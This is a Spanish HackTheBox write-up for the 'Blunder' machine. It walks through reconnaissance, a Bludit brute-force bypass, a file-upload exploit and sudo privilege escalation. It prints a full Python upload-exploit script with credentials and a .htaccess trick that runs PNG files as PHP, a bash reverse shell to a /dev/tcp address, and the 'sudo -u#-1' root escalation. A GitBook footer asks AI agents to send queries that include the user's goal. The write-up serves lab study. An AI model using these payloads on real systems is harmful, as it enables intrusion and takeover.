> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md). # Guía de HackTheBox Blunder Guía de la máquina HackTheBox Blunder Fácil Linux que cubre explotación de Bludit CMS, bypass de bloqueo de IP (cabecera X-Forwarded-For), carga de imágenes con recorrido de directorios (jugando con .htaccess), abuso {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Explotación de Bludit CMS * Evasión del bloqueo de IP (cabecera X-Forwarded-For) * Carga de archivos de imagen con recorrido de directorios (jugando con .htaccess) * Abuso del privilegio sudo (CVE-2019-14287) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Use la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (80)

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p80 10.10.10.191 -oN targeted ```

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

## Puerto 80 (Blunder):

**Escaneo de directorios** Use **Gobuster** para encontrar directorios interesantes: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` * Resultado: Descubrimiento de la **/admin** directorio.

**Identificación del CMS** Al acceder a **/admin**, se detecta el CMS Bludit (versión **3.9.2**) se detecta.

## **Explotación de Bludit CMS**

**Buscar vulnerabilidades** Use `searchsploit` para encontrar vulnerabilidades conocidas:

#### Vulnerabilidad detectada: **CVE-2019-17240** {% hint style="info" %} El exploit tiene como objetivo aprovechar una vulnerabilidad en la mitigación de ataques de fuerza bruta en Bludit, una plataforma CMS (Content Management System). La vulnerabilidad, identificada como **CVE-2019-17240**, permite a un atacante eludir las protecciones contra ataques de fuerza bruta implementadas en las versiones de Bludit anteriores o iguales a 3.9.2. {% endhint %} `searchsploit -m php/webapps/48942.py` **Archivo de texto encontrado** Realice investigación adicional con Gobuster: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html ```

Contenido: Usuario identificado: **fergus**.

### Fuerza bruta en Bludit Una vez que el usuario **fergus** se descubre, use un diccionario para lanzar un ataque de fuerza bruta: ```bash python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt ``` No se encontraron coincidencias para el archivo **rockyou.txt**. ### **Diccionario personalizado** Use **Cewl** para generar un diccionario basado en el sitio web: ```bash cewl -u http://blunder.htb/ -w password.txt ```

Relance el ataque de fuerza bruta con el diccionario personalizado:

* Contraseña encontrada: `fergus:RolandDeschain`

## Explotación de carga de archivos de imagen mediante recorrido de directorios: Una vez autenticado, este CMS es vulnerable a un ataque de **recorrido de directorios** tipo que permite la carga de archivos maliciosos. {% embed url="" %} {% hint style="info" %} Podemos especificar la ubicación del archivo descargado cambiando el valor de `uuid` y luego subir una imagen maliciosa a la carpeta temporal. {% endhint %} Después de la autenticación, es posible descargar un nuevo exploit mediante `searchsploit` en `multiple/webapps/48701.txt`que proporciona los pasos para explotar esta vulnerabilidad.

**Pasos de operación**

1. **Crear un archivo malicioso** (`evil.png`) que contiene código PHP: ```bash ``` 2. **Modifique el script para adaptarlo a la situación** (dirección IP de la víctima, nombre de usuario, contraseña, etc.).

3. **Ejecutar exploit:** Script Python de explotación: ```python #!/usr/bin/env python3 import requests import re import argparse import random import string import base64 from requests.exceptions import Timeout url = 'http://blunder.htb/admin' # CAMBIARME username = 'fergus' # CAMBIARME password = 'RolandDeschain' # CAMBIARME # msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png # echo -e " evil.png payload = 'evil.png' # CREARME #echo "RewriteEngine off" > .htaccess #echo "AddType application/x-httpd-php .png" >> .htaccess payload2 = '.htaccess' # CREARME def login(url,username,password): """ Inicia sesión con las credenciales de administrador proporcionadas y obtiene la cookie una vez autenticado """ session = requests.Session() login_page = session.get(url + "/admin/") csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text ).group(1) cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1]) data = {"save":"", "password":password, "tokenCSRF":csrf_token, "username":username} headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer": url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/x-www-form-urlencoded" } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/", data=data, headers=headers, cookies=cookies, allow_redirects = False ) print("cookie: " + cookie) return cookie def get_csrf_token(url,cookie): """ Obtiene el token CSRF desde una sesión autenticada """ session = requests.Session() headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate"} cookies = {"BLUDIT-KEY":cookie} response = session.get(url + "/admin/dashboard", headers=headers, cookies=cookies ) csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0] print("csrf_token: " + csrf_token) return csrf_token def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False): """ Sube los archivos necesarios para ejecutar PHP desde archivos de imagen maliciosos. Payload y .htaccess """ session = requests.Session() files= {"images[]": (payload, open(payload, "rb"), "multipart/form-data", {"Content-Type": "image/png", "filename":payload} )} if override_uuid: data = {"uuid": "../../tmp/temp", "tokenCSRF":csrf_token} else: # En la aplicación vulnerable, esta línea aparece primero: # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); # Aunque hay una verificación de la extensión del archivo, en realidad no nos detendrá # al subir el archivo .htaccess. data = {"tokenCSRF":csrf_token} headers = {"Origin":url, "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/new-content", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies) print("Uploading payload: " + payload) if __name__ == "__main__": cookie = login(url, username, password) token = get_csrf_token(url, cookie) upload_evil_image(url, cookie, token, payload, True) upload_evil_image(url, cookie, token, payload2) ```

4. **Acceda al archivo malicioso**: Una vez que la imagen se haya descargado, simplemente vaya a `/bl-content/tmp/temp/evil.png` para ejecutar comandos.

5. **Escuchar en el puerto 443 con Netcat**: ```bash nc -nvlp 443 ``` 5. **Ejecutar una shell inversa**: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261" ```

**Gestión de la sesión de terminal** : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Escalada de privilegios Al explorar los archivos se revela un archivo `users.php` en el `bases de datos` carpeta que contiene credenciales con hash de los usuarios `fergus` y `admin`: `admin:bfcc887f62e36ea019e3295aafb8a3885966e265` `fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

Al usar CrackStation para intentar descifrar estos hashes, parece que no son reconocidos.

Sin embargo, en la raíz del sitio web se encuentra una versión más reciente de Bludit, que contiene los mismos archivos de configuración, pero con credenciales diferentes:

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

`hugo:Password120`

### Bandera user.txt:

### Abuso del privilegio sudo (CVE-2019-14287): Mientras examinábamos los privilegios de sudo, descubrimos una configuración vulnerable en el archivo sudoers. Usando el `sudo -l` comando, identificamos un privilegio que permite a todos los usuarios excepto `root` iniciar sesión con el `/bin/bash` comando:

{% embed url="" %} Esta vulnerabilidad afecta a todas las versiones de sudo anteriores a la versión 1.8.27. En nuestro caso, la versión de sudo es inferior a 1.8.27, lo que hace que esta vulnerabilidad sea explotable.

Para explotar esta vulnerabilidad, simplemente ejecute el siguiente comando: ```bash sudo -u#-1 /bin/bash ``` Este comando le permite ejecutar una shell como el usuario `-1`, que corresponde al usuario `root`.

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.